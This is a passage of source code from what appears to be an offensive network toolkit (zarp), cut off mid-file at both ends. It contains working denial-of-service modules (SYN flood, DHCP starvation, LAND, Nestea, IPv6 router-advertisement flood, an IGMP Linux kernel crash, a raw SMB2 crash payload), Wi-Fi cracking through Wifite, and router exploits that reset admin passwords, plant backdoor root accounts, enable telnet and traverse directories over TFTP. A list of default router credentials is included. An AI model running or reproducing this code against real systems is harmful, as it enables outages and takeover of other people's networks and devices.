msg.reply() 103 | -------------------------------------------------------------------------------- /src/modules/attacks/redirect_port.py: -------------------------------------------------------------------------------- 1 | from attack import Attack 2 | import util 3 | from zoption import Zoption 4 | 5 | 6 | class redirect_port(Attack): 7 | def __init__(self): 8 | super(redirect_port, self).__init__("redirect_port") 9 | self.iptable = "iptables -t nat -A PREROUTING -p tcp --dport {0} -j REDIRECT --to-port {1}" 10 | self.config.update({"source_port": Zoption(type="int", value=80, required=True, display="Source port"), 11 | "dest_port": Zoption(type="int", value=8080, required=True, display="Destination port")}) 12 | self.config.update({}) 13 | self.running = False 14 | self.info = """ 15 | Redirects inbound TCP traffic on source port to destination port on localhost 16 | """ 17 | 18 | def modip(self, enable=True): 19 | """ 20 | Enable or disable the iptable rule 21 | """ 22 | to_exec = self.iptable.format(self.config['source_port'].value, self.config['dest_port'].value) 23 | if enable: 24 | util.init_app(to_exec) 25 | else: 26 | util.init_app(to_exec.replace('-A', '-D')) 27 | 28 | def initialize(self): 29 | util.Msg("Starting redirect_port...") 30 | 31 | self.modip() 32 | 33 | self.running = True 34 | 35 | util.Msg("Redirection to from TCP port {0} to {1}...".format(self.config['source_port'].value, self.config['dest_port'].value)) 36 | 37 | return True 38 | 39 | def shutdown(self): 40 | util.Msg("Shutting down RedirectPort...") 41 | self.modip(False) 42 | 43 | def session_view(self): 44 | """ 45 | Return information about the redirections 46 | """ 47 | return "Redirect from {0} to {1}".format(self.config['source_port'].value, self.config['dest_port'].value) 48 | -------------------------------------------------------------------------------- /src/modules/dos/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ["dhcp_starvation", "land_dos", "ndp_dos", "nestea_dos", 2 | "smb2_dos", "tcp_syn", 'nud', 'igmp_nix'] 3 | -------------------------------------------------------------------------------- /src/modules/dos/dhcp_starvation.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from time import sleep 3 | from util import Msg 4 | from dos import DoS 5 | from threading import Thread 6 | from zoption import Zoption 7 | 8 | """DHCP starvation attack involves firing off DHCP request packets with random 9 | MAC addresses. With this we can exhaust the address space reserved by the 10 | DHCP server. This attack can be a viable stepping stone in the introduction 11 | of a rogue DHCP server. 12 | http://hakipedia.com/index.php/DHCP_Starvation 13 | """ 14 | 15 | 16 | class dhcp_starvation(DoS): 17 | def __init__(self): 18 | super(dhcp_starvation, self).__init__('DHCP Starvation') 19 | conf.verb = 0 20 | self.config.pop("target", None) 21 | self.config.update({"interval":Zoption(type = "int", 22 | value = 0.1, 23 | required = False, 24 | display = "Interval to send advertisements") 25 | }) 26 | self.info = """ 27 | Cause a denial of service against a local DHCP server. 28 | This will simply request IP addresses from randomized 29 | MAC sources.""" 30 | 31 | def initialize(self): 32 | Msg('Beginning DHCP starvation...') 33 | conf.checkIPaddr = False 34 | thread = Thread(target=self.starve) 35 | self.running = True 36 | thread.start() 37 | return True 38 | 39 | def starve(self): 40 | """ Starve the network of DHCP leases 41 | """ 42 | while self.running: 43 | pkt = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff") 44 | pkt /= IP(src="0.0.0.0", dst="255.255.255.255") 45 | pkt /= UDP(sport=68, dport=67) 46 | pkt /= BOOTP(chaddr=RandString(12, '0123456789abcdef')) 47 | pkt /= DHCP(options=[("message-type", 'discover'), 'end']) 48 | sendp(pkt) 49 | sleep(self.config['interval'].value) 50 | -------------------------------------------------------------------------------- /src/modules/dos/dos.py: -------------------------------------------------------------------------------- 1 | from module import ZarpModule 2 | from util import init_app 3 | from re import search 4 | from util import Error 5 | from zoption import Zoption 6 | import abc 7 | 8 | 9 | class DoS(ZarpModule): 10 | """Abstract denial of service class""" 11 | __metaclass__ = abc.ABCMeta 12 | 13 | def __init__(self, which): 14 | super(DoS, self).__init__(which) 15 | self.config.update({"target":Zoption(type = "ip", 16 | value = None, 17 | required = True, 18 | display = "Target to DoS") 19 | }) 20 | 21 | def is_alive(self): 22 | """Check if the target is alive""" 23 | if not self.config['target'].value is None: 24 | rval = init_app('ping -c 1 -w 1 %s' % \ 25 | self.config['target'].value, True) 26 | up = search('\d.*? received', rval) 27 | if search('0', up.group(0)) is None: 28 | return True 29 | return False -------------------------------------------------------------------------------- /src/modules/dos/igmp_nix.py: -------------------------------------------------------------------------------- 1 | from dos import DoS 2 | from struct import pack 3 | from socket import inet_aton 4 | from scapy.all import send, IP, conf, checksum 5 | import util 6 | 7 | 8 | class igmp_nix(DoS): 9 | """ 10 | First send an IGMPv2 query, followed by an IGMPv3 query 11 | with a max response time of 0; results in a division by 12 | zero in the kernel 13 | """ 14 | def __init__(self): 15 | super(igmp_nix, self).__init__('Linux 2.6.36 - 3.2.1 IGMP DoS') 16 | conf.verb = 0 17 | self.info = """ 18 | Exploits an IGMPv2 DoS in Linux kernel version 19 | 2.6.36 >= to < 3.2.1. 20 | 21 | More information on the sploit: 22 | http://www.exploit-db.com/exploits/18378/ 23 | """ 24 | 25 | def initialize(self): 26 | igmpv2 = pack("!BBH", 0x11, 0xff, 0) + inet_aton("224.0.0.1") 27 | igmpv3 = pack("!BBH", 0x11, 0x0, 0) + inet_aton("0.0.0.0") \ 28 | + pack("!BBBB", 0, 0, 0, 0) 29 | 30 | igmpv2 = igmpv2[:2] + pack("!H", checksum(igmpv2)) + igmpv2[4:] 31 | igmpv3 = igmpv3[:2] + pack('!H', checksum(igmpv3)) + igmpv3[4:] 32 | 33 | send(IP(dst=self.target, proto=2) / igmpv2) 34 | send(IP(dst=self.target, proto=2) / igmpv3) 35 | 36 | if self.is_alive(): 37 | util.Msg('Host still up.') 38 | else: 39 | util.Msg('Host not responding - it\'s either down or ' 40 | 'rejecting our probes.') 41 | -------------------------------------------------------------------------------- /src/modules/dos/land_dos.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from dos import DoS 3 | import util 4 | 5 | 6 | class land_dos(DoS): 7 | def __init__(self): 8 | super(land_dos, self).__init__('LAND DoS') 9 | conf.verb = 0 10 | self.info = """ 11 | Oldie but a goodie. This exploits the classic LAND attack 12 | against Windows machines. Essentially we set the source 13 | equal to the destination, which causes a loop and 14 | eventually a crash. 15 | 16 | http://insecure.org/sploits/land.ip.DOS.html 17 | """ 18 | 19 | def initialize(self): 20 | target = self.config['target'].value 21 | pkt = IP(src=target, dst=target) 22 | pkt /= TCP(sport=134, dport=134) 23 | 24 | while True: 25 | print '[!] DoSing %s...' % target 26 | send(pkt) 27 | 28 | if self.is_alive(): 29 | util.Msg('Host appears to still be up.') 30 | try: 31 | tmp = raw_input('[!] Try again? [Y/n] ') 32 | except Exception: 33 | break 34 | if 'n' in tmp.lower(): 35 | break 36 | else: 37 | util.Msg('Host not responding!') 38 | break -------------------------------------------------------------------------------- /src/modules/dos/ndp_dos.py: -------------------------------------------------------------------------------- 1 | import util 2 | from time import sleep 3 | from scapy.all import * 4 | from dos import DoS 5 | from threading import Thread 6 | from zoption import Zoption 7 | 8 | 9 | class ndp_dos(DoS): 10 | """ This is not patched by Microsoft. Windows 7 and 8 are vulnerable, 11 | as well as a handful of (U|L)inux boxes. IPv6 NDP was designed to 12 | replace the DHCP protocol. When a system picks up an ICMPv6 Router 13 | Advertisement, it is essentially forcing the system to update their 14 | local networking information for the new router. This DoS's the 15 | system's IPv6 networking. When the network is flooded with these 16 | ICMPv6 RA's, the system's are hosed at 100% processor usage as they 17 | scramble to update routing tables, address info, etc. 18 | 19 | http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt 20 | """ 21 | def __init__(self): 22 | super(ndp_dos, self).__init__('IPv6 Neighbor Discovery Protocol RA DoS') 23 | conf.verb = 0 24 | self.config.pop("target", None) 25 | self.config.update({"interval":Zoption(type = "int", 26 | value = 0.1, 27 | required = False, 28 | display = "Interval to send advertisements"), 29 | "prefix":Zoption(type = "str", 30 | value = "ba11:a570::", 31 | required = False, 32 | display = "Fake router IPv6 address"), 33 | "count":Zoption(type = "int", 34 | value = -1, 35 | required = False, 36 | display = "Number of advertisements to send (-1 infinite)") 37 | }) 38 | self.info = """ 39 | Exploits an unpatched vulnerability in the way Windows 7/8 handle 40 | IPv6 NDP router advertisements. After we send enough requests, 41 | eventually the box consumes itself. 42 | 43 | http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt 44 | """ 45 | 46 | def initialize(self): 47 | util.Msg('Starting Router Advertisement...') 48 | 49 | thread = Thread(target=self.spam) 50 | self.running = True 51 | thread.start() 52 | return True 53 | 54 | def spam(self): 55 | """ Spam the RA's based on user config 56 | """ 57 | # build the forged packet 58 | pkt = IPv6(dst='ff02::1') 59 | pkt /= ICMPv6ND_RA() 60 | pkt /= ICMPv6NDOptPrefixInfo(prefixlen=64, 61 | prefix=self.config['prefix'].value) 62 | 63 | cnt = 0 64 | while self.running: 65 | if self.config['count'].value > 0 and \ 66 | cnt >= self.config['count'].value: 67 | self.running = False 68 | break 69 | 70 | send(pkt) 71 | cnt += 1 72 | sleep(self.config['interval'].value) -------------------------------------------------------------------------------- /src/modules/dos/nestea_dos.py: -------------------------------------------------------------------------------- 1 | import util 2 | from scapy.all import * 3 | from dos import DoS 4 | 5 | 6 | class nestea_dos(DoS): 7 | """ Linux-equivalent to the Teardrop DoS, works on 2.0 and 2.1. 8 | Attack works by sending fragmented datagram pairs to a host. The 9 | first host begins at offset 0 (first packet), with a payload of N. 10 | The following packet is set to overlap within the previous fragment. 11 | """ 12 | def __init__(self): 13 | super(nestea_dos, self).__init__('Nestea DoS') 14 | conf.verb = 0 15 | self.info = """ 16 | Linux-equivalent to the teardrop attack, this sends 17 | fragmented datagram packets with overlapping payloads.""" 18 | 19 | def initialize(self): 20 | target = self.config['target'].value 21 | try: 22 | pkt1 = IP(dst=target, id=42, flags="MF") / UDP() / ("X" * 10) 23 | pkt2 = IP(dst=target, id=42, frag=48) / ("X" * 116) 24 | pkt3 = IP(dst=target, id=42, flags="MF") / UDP() / ("X" * 224) 25 | while True: 26 | util.Msg('DoSing %s...' % target) 27 | send(pkt1) 28 | send(pkt2) 29 | send(pkt3) 30 | 31 | if self.is_alive(): 32 | util.Msg('Host appears to still be up.') 33 | try: 34 | tmp = raw_input('[!] Try again? [Y/n] ') 35 | except Exception: 36 | break 37 | if 'n' in tmp.lower(): 38 | break 39 | else: 40 | util.Msg('Host not responding!') 41 | break 42 | except KeyboardInterrupt: 43 | return 44 | except Exception: 45 | util.Error('Error with given address. Could not complete DoS.') 46 | return 47 | -------------------------------------------------------------------------------- /src/modules/dos/nud.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from threading import Thread 3 | from dos import DoS 4 | import util 5 | 6 | 7 | class nud(DoS): 8 | """ Exploits a flaw in the Neighbor Unreachability Detection (NUD) mechanism 9 | in the NDP IPv6 suite. This will listen for unicast Neighbor Solicitations 10 | and respond, no matter if the dest node is alive or not. In the event that 11 | a node is down, or fake node entries are present in the system's cache, the 12 | host will continue to send packets because NUD has not had a chance to 13 | remediate the issue. 14 | 15 | Enabling a sniffer will allow you to view all sent data. 16 | """ 17 | def __init__(self): 18 | super(nud, self).__init__('IPv6 Neighbor Unreachability Detection DoS') 19 | self.running = False 20 | self.dump = False 21 | conf.verb = 0 22 | self.config.pop("target", None) 23 | self.info = """ 24 | Listens for Neighbor Solicitations and responds to them 25 | automatically. In the event that the destination node is 26 | dead, the packets destined for it will be null routed.""" 27 | 28 | def initialize(self): 29 | """initialize the NUD dos""" 30 | util.Msg('Starting NUD DoS listener...') 31 | self.running = True 32 | dthread = Thread(target=self.listener) 33 | dthread.start() 34 | return 'NuD DoS Listener' 35 | 36 | def handler(self, pkt): 37 | """Listen for neighbor solicitations""" 38 | if ICMPv6ND_NS in pkt: 39 | v6_type = pkt[ICMPv6ND_NS].type 40 | if v6_type is 135: 41 | # respond 42 | npkt = IPv6(dst=pkt[IPv6].src, src=pkt[IPv6].dst) 43 | npkt /= ICMPv6ND_NA() 44 | send(npkt, count=1) 45 | log_msg('Responded to %s' % pkt[IPv6].src) 46 | 47 | def stop_caller(self): 48 | """Sniffer callback""" 49 | if self.running: 50 | return True 51 | util.debug('NUDDos shutting down..') 52 | return False 53 | 54 | def listener(self): 55 | """listen for IPv6 packets""" 56 | try: 57 | while self.running: 58 | sniff(filter='ip6', store=0, prn=self.handler, 59 | stopper=self.stop_caller, stopperTimeout=3) 60 | except Exception, e: 61 | util.Error('%s' % e) 62 | 63 | def view(self): 64 | util.Msg('NUD DoS...') 65 | self.dump = True 66 | raw_input() 67 | self.dump = False 68 | return -------------------------------------------------------------------------------- /src/modules/dos/smb2_dos.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import util 3 | from dos import DoS 4 | 5 | 6 | class smb2_dos(DoS): 7 | """ Exploit a & in an SMB header. Triggers in Vista Sp1/sp2/Server 2008/sp2 8 | and windows 7 RC (unconfirmed in win7 sp1) 9 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103 10 | """ 11 | 12 | def __init__(self): 13 | super(smb2_dos, self).__init__('SMB2 DoS') 14 | self.info = """ 15 | Exploits a vulnerability in an SMB header, causing a DoS 16 | in the host. 17 | 18 | Windows Vista SP1/SP2, Server 2008/SP2, and Windows 7 RC 19 | are all affected. 20 | """ 21 | 22 | def initialize(self): 23 | """ Initialize the DoS 24 | """ 25 | try: 26 | util.Msg("Sending payload...") 27 | pkt = ( 28 | "\x00\x00\x00\x90" 29 | "\xff\x53\x4d\x42" 30 | "\x72\x00\x00\x00" 31 | "\x00\x18\x53\xc8" 32 | "\x00\x26" 33 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" 34 | "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" 35 | "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" 36 | "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" 37 | "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" 38 | "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" 39 | "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" 40 | "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" 41 | "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" 42 | "\x30\x30\x32\x00") 43 | 44 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 45 | 46 | sock.connect((self.config['target'].value, 445)) 47 | sock.send(pkt) 48 | sock.close() 49 | 50 | if self.is_alive(): 51 | util.Msg('Host appears to be up') 52 | else: 53 | util.Msg('Host is not responding - ' 54 | 'it is either down or rejecting our probes.') 55 | except Exception: 56 | util.Error('Remote host not susceptible to vulnerability.') 57 | return 58 | -------------------------------------------------------------------------------- /src/modules/dos/tcp_syn.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from threading import Thread 3 | from dos import DoS 4 | from util import Msg 5 | from zoption import Zoption 6 | 7 | 8 | class tcp_syn(DoS): 9 | def __init__(self): 10 | """ Simple TCP SYN flooder. Absolutely nothing fancy, and could 11 | probably use some love. 12 | """ 13 | super(tcp_syn, self).__init__('TCP SYN') 14 | conf.verb = 0 15 | self.config.update({"port":Zoption(type = "int", 16 | value = 80, 17 | required = False, 18 | display = "Attack port"), 19 | "count":Zoption(type = "int", 20 | value = -1, 21 | required = False, 22 | display = "Number of packets to send (-1 infinite)") 23 | }) 24 | self.info = """ 25 | Very basic TCP SYN flooder that just spams SYN packets 26 | towards the host/port. 27 | """ 28 | 29 | def initialize(self): 30 | Msg('Flooding \'%s\'...' % self.config['target'].value) 31 | thread = Thread(target=self.flood) 32 | self.running = True 33 | thread.start() 34 | return True 35 | 36 | def flood(self): 37 | """ Send packets 38 | """ 39 | pkt = IP(dst=self.config['target'].value) 40 | pkt /= TCP(dport=self.config['port'].value, 41 | window=1000, flags='S') 42 | cnt = 0 43 | while self.running: 44 | if self.config['count'].value > 0 and \ 45 | cnt >= self.config['count'].value: 46 | break 47 | 48 | send(pkt) 49 | cnt += 1 50 | self.shutdown() 51 | 52 | def session_view(self): 53 | """ return ip/port of spammed host 54 | """ 55 | return "%s:%d" % (self.config['target'].value, 56 | self.config['port'].value) -------------------------------------------------------------------------------- /src/modules/parameter/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['ap_crack','router_pwn', 'slarpc','switchover'] 2 | -------------------------------------------------------------------------------- /src/modules/parameter/ap_crack.py: -------------------------------------------------------------------------------- 1 | import util 2 | import os 3 | from parameter import Parameter 4 | from zoption import Zoption 5 | 6 | 7 | class ap_crack(Parameter): 8 | """ Interfaces with Wifite to crack APs 9 | """ 10 | def __init__(self): 11 | super(ap_crack, self).__init__('APCrack') 12 | self.config.update({"mode":Zoption(type = "int", 13 | value = 1, 14 | required = True, 15 | display = "Mode to crack", 16 | opts = ['WEP', 'WPA', 'WPS']) 17 | }) 18 | self.info = """ 19 | Harnesses the power of Wifite to crack WEP, WPA, and WPS 20 | devices.""" 21 | 22 | def initialize(self): 23 | choice = self.config['mode'].value 24 | 25 | cmd = [] 26 | while True: 27 | if choice is 1: 28 | cmd = ['python', 29 | 'src/modules/parameter/wifite.py', 30 | '--wep', 31 | '--wept', '300', 32 | '--nofakeauth'] 33 | break 34 | elif choice is 2: 35 | cmd = ['python', 36 | 'src/modules/parameter/wifite.py', 37 | '--wpa', 38 | '--wpat', '10', 39 | '--wpadt', '2'] 40 | break 41 | elif choice is 3: 42 | cmd = ['python', 43 | 'src/modules/parameter/wifite.py', 44 | '--wps', 45 | '--wpst', '5', 46 | '--wpsretry', '8'] 47 | break 48 | else: 49 | return False 50 | 51 | try: 52 | os.system(' '.join(cmd)) 53 | except KeyboardInterrupt: 54 | pass 55 | except Exception, j: 56 | util.Error('Error initializing Wifite: %s' % j) 57 | 58 | -------------------------------------------------------------------------------- /src/modules/parameter/parameter.py: -------------------------------------------------------------------------------- 1 | from module import ZarpModule 2 | 3 | 4 | class Parameter(ZarpModule): 5 | """ Abstract parameter 6 | """ 7 | def __init__(self, which): 8 | super(Parameter, self).__init__(which) -------------------------------------------------------------------------------- /src/modules/parameter/router_pwn.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | import routers 3 | import util 4 | import stream 5 | from parameter import Parameter 6 | 7 | 8 | class router_pwn(Parameter): 9 | """ Router pwn module for managing and pwning routers 10 | """ 11 | 12 | def __init__(self): 13 | super(router_pwn, self).__init__('RouterPwn') 14 | self.routers = {} 15 | self.skip_opts = True 16 | 17 | def load(self): 18 | """Load router modules""" 19 | for router in routers.__all__: 20 | # relative to zarp.py 21 | mod = importlib.import_module('modules.parameter.routers.%s' 22 | % router) 23 | self.routers[router] = [] 24 | for vuln in mod.__all__: 25 | path = "modules.parameter.routers.%s.%s" % (router, vuln) 26 | if util.check_dependency(path): 27 | mod = getattr(importlib.import_module(path, 'routers'), vuln) 28 | self.routers[router].append(mod) 29 | 30 | def initialize(self): 31 | """ Load router exploits; store {router:[vuln]} 32 | """ 33 | self.load() 34 | while True: 35 | choice = util.print_menu([x for x in self.routers.keys()]) 36 | if choice is 0: 37 | del(self.routers) 38 | break 39 | elif choice is -1 or choice > len(self.routers.keys()): 40 | pass 41 | else: 42 | router = self.routers[self.routers.keys()[choice - 1]] 43 | while True: 44 | choice = util.print_menu([x().which for x in router]) 45 | if choice is 0: 46 | break 47 | elif choice is -1 or choice > len(router): 48 | pass 49 | else: 50 | stream.initialize(router[choice - 1]) 51 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['cisco', 'dlink', 'linksys', 'netgear', 'asus', 2 | 'rosewill', 'zoom'] 3 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/asus/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['rt56u_change_admin'] 2 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/asus/rt56u_change_admin.py: -------------------------------------------------------------------------------- 1 | from urllib import urlencode, urlopen 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class rt56u_change_admin(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'RT-N56U <= v1.0.7f' 10 | self.vuln = 'Change Admin Password' 11 | super(rt56u_change_admin, self).__init__() 12 | 13 | self.info = """ 14 | Change the admin password and enable the remote telnet server 15 | http://forelsec.blogspot.com/2013/02/asus-rt56u-multiple-vulnerabilities.html 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Changing admin password and enabling remote telnet server...') 20 | try: 21 | data = urlencode({'productid':'RT-N56U', 'current_page':'Advanced_System_Content.asp', 22 | 'next_page':'', 'next_host':'', 'sid_list':'LANHostConfig%3BGeneral%3B', 23 | 'group_id':'', 'modified':'0', 'action_mode':'+Apply+','first_time':'', 24 | 'action_script':'','preferred_lang':'EN','wl_ssid2':'wat','firmver':'1.0.7f', 25 | 'http_passwd':'d3fault','http_passwd2':'d3fault','v_password2':'d3fault', 26 | 'log_ipaddr':'', 'time_zone':'UCT12', 'ntp_server0':'pool.ntp.org','telnetd':'1'}) 27 | 28 | response = urlopen("http://%s/start_apply.htm" % 29 | self.config['target'].value, data).read() 30 | 31 | if "You cannot Login unless logout another user first" in response: 32 | util.Msg("Another user is logged in.") 33 | util.Msg('Done. telnet into %s with \'admin:d3fault\'' % self.ip) 34 | except Exception, e: 35 | util.Error('Error: %s' % e) 36 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/cisco/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = [ 'kits_dtraverse', 'ios_full_admin' ] 2 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/cisco/ios_full_admin.py: -------------------------------------------------------------------------------- 1 | from ..router_vuln import RouterVuln 2 | import util 3 | import urllib 4 | 5 | 6 | class ios_full_admin(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'Cisco IOS 11.x/12.x' 10 | self.vuln = 'Full Admin' 11 | super(ios_full_admin, self).__init__() 12 | 13 | self.info = """ 14 | Exploit a remote admin vulnerability in Cisco IOS 11.x/12.x routers 15 | http://www.exploit-db.com/exploits/20975/ 16 | """ 17 | 18 | def initialize(self): 19 | url = 'http://%s/level/' % (self.config['target'].value) 20 | for idx in range(16, 100): 21 | url += str(idx) + '/exec/-' 22 | response = urllib.urlopen(url).read() 23 | if '200 ok' in response.lower(): 24 | util.Msg('Device vulnerable. Connect to %s for admin' 25 | % (self.config['target'].value)) 26 | return 27 | util.Msg('Device not vulnerable.') 28 | return 29 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/cisco/kits_dtraverse.py: -------------------------------------------------------------------------------- 1 | from ..router_vuln import RouterVuln 2 | import socket 3 | import util 4 | 5 | 6 | class kits_dtraverse(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'CiscoKits 1.0 TFTP' 10 | self.vuln = 'Directory Traversal' 11 | super(kits_dtraverse, self).__init__() 12 | 13 | self.info = """ 14 | Exploit a directory traversal vulnerability 15 | http://www.exploit-db.com/exploits/17619/ 16 | """ 17 | 18 | def send(self, retr): 19 | """Send and receive""" 20 | try: 21 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 22 | sock.settimeout(5) 23 | sock.sendto(retr, (self.config['target'].value, 69)) 24 | data = sock.recv(1024) 25 | sock.close() 26 | except Exception, e: 27 | util.Error('Error with host: %s' % e) 28 | return None 29 | return data.strip() 30 | 31 | def initialize(self): 32 | try: 33 | while True: 34 | retr = raw_input('C:\\') 35 | retr = retr.replace('/', '\\') 36 | 37 | pkt = '\x00\x01' 38 | pkt += '../' * 10 + retr + '\x00' 39 | pkt += 'netascii\x00' 40 | data = self.send(pkt) 41 | print data 42 | except: 43 | return 44 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/default_passwords.py: -------------------------------------------------------------------------------- 1 | """ Aggregation of default passwords, organized by brand. Only 2 | brands with exploits in zarp are present. 3 | """ 4 | 5 | 6 | def default_list(brand): 7 | """ Return a list of potential or default username/password 8 | combinations for a router. This is more refined than a 9 | brute force attempt with a fat wordlist. 10 | """ 11 | brand = globals().get(brand)() 12 | if not brand: 13 | return None 14 | 15 | base = general() 16 | 17 | # uniquely combine lists 18 | base['username'] = list(set(base['username'] + brand['username'])) 19 | base['password'] = list(set(base['password'] + brand['password'])) 20 | return base 21 | 22 | 23 | def general(): 24 | """ standard username/password combinations that could be 25 | applicable to any device. Each brand should return the 26 | union of the general set and their specific subset. 27 | """ 28 | return {'username': ['', 'admin', 'administrator'], 29 | 'password': ['', 'admin', 'administrator', 'password', '1234'] 30 | } 31 | 32 | 33 | # 34 | # Brand-specific usernames/passwords 35 | # 36 | def cisco(): 37 | return {'username': ['Cisco', 'cisco', 'Administrator', 'root'], 38 | 'password': ['Cisco', 'cisco', 'Administrator', '_Cisco', 'letmein'] 39 | } 40 | 41 | 42 | def asus(): 43 | return {'username': [], 44 | 'password': [] 45 | } 46 | 47 | 48 | def rosewill(): 49 | return {'username': [], 50 | 'password': ['guest'], 51 | } 52 | 53 | 54 | def dlink(): 55 | return {'username': [], 56 | 'password': ['public'] 57 | } 58 | 59 | 60 | def linksys(): 61 | return {'username': [], 62 | 'password': ['epicrouter'] 63 | } 64 | 65 | 66 | def netgear(): 67 | return {'username': [], 68 | 'password': ['netgear1', 'setup', 'Administrator'] 69 | } 70 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/dlink/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['backdoor_250n', 'change_admin_2640', 'add_admin_300', 2 | 'add_admin_605', 'change_admin_1310', 'get_config_320b' 3 | ] 4 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/dlink/add_admin_300.py: -------------------------------------------------------------------------------- 1 | import util 2 | import urllib 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class add_admin_300(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'DIR-300 v1.04' 10 | self.vuln = 'Change Admin Password' 11 | super(add_admin_300, self).__init__() 12 | 13 | self.info = """ 14 | Modify the default admin password to 'd3fault' 15 | http://www.exploit-db.com/exploits/15753/ 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Changing admin password to \'d3fault\'...') 20 | url = 'http://%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0' % self.config['target'].value 21 | params = urllib.urlencode({'ACTION_POST':1,'admin_name':'admin', 22 | 'admin_password1':'d3fault','admin_password2':'d3fault', 23 | 'rt_enable_h':1,'rt_port':8080,'rt_ipaddr':'192.168.0.1337'}) 24 | 25 | try: 26 | urllib.urlopen(url, params).read() 27 | util.Msg('Done. Admin password changed to \'d3fault\'') 28 | except Exception, e: 29 | util.Error("Error: %s" % e) 30 | return 31 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/dlink/add_admin_605.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | class add_admin_605(RouterVuln): 6 | 7 | def __init__(self): 8 | self.router = 'DIR-605 v2.00' 9 | self.vuln = 'Backdoor Root' 10 | super(add_admin_605, self).__init__() 11 | 12 | self.info = """ 13 | Adds a backdoor root account to the router 14 | http://www.exploit-db.com/exploits/18638/ 15 | """ 16 | 17 | def initialize(self): 18 | util.Msg('Adding admin \'adm4n\' with password \'d3fault\'') 19 | url = 'http://%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0' % self.config['target'].value 20 | params = urllib.urlencode({'ACTION_POST':1, 'admin_name':'adm4n','admin_password':'d3fault', 21 | 'admin_password2':'d3fault'}) 22 | try: 23 | response = urllib.urlopen(url,params).read() 24 | util.Msg('Done. Connect to %s with \'adm4n:d3fault\'' % self.config['target'].value) 25 | except Exception, e: 26 | util.Error('Failed: %s' % e) 27 | return 28 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/dlink/backdoor_250n.py: -------------------------------------------------------------------------------- 1 | import util 2 | import paramiko 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class backdoor_250n(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'DSR-250N' 10 | self.vuln = 'Add Admin' 11 | super(backdoor_250n, self).__init__() 12 | 13 | self.info = """ 14 | Add persistent root account. 15 | http://www.exploit-db.com/exploits/22930/ 16 | """ 17 | 18 | def initialize(self): 19 | util.Msg('Adding \'r00t:d3fault\'...') 20 | try: 21 | ssh = paramiko.SSHClient() 22 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 23 | connection = ssh.connect(self.config['target'].value, 24 | username='admin', password='admin', timeout=3.0) 25 | channel = connection.get_transport().open_session() 26 | # add user 27 | channel.exec_command('system users edit 1') 28 | channel.exec_command('username r00t') 29 | channel.exec_command('password d3fault') 30 | channel.exec_command('save') 31 | connection.close() 32 | except paramiko.AuthenticationException: 33 | util.Error('Default credentials disabled/changed.') 34 | except Exception, e: 35 | util.Error('Error: %s' % e) 36 | return 37 | 38 | util.Msg('Done.') 39 | -------------------------------------------------------------------------------- /src/modules/parameter/routers/dlink/change_admin_1310.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | import util 3 | from ..router_vuln import RouterVuln 4 | 5 | 6 | class change_admin_1310(RouterVuln): 7 | 8 | def __init__(self): 9 | self.router = 'WBR-1310 v2.0' 10 | self.vuln = 'Change Admin Password' 11 | super(change_admin_1310, self).__init__() 12 | 13 | self.info = """ 14 | Changes the admin psasword to d3fault and enables 15 | remote administration on port 8080. 16 | http://www.exploit-db.com/exploits/15810/ 17 | """ 18 | 19 | def initialize(self): 20 | util.Msg('Changing admin password to \'d3fault\' ' 21 | 'and enabling remote admin on port 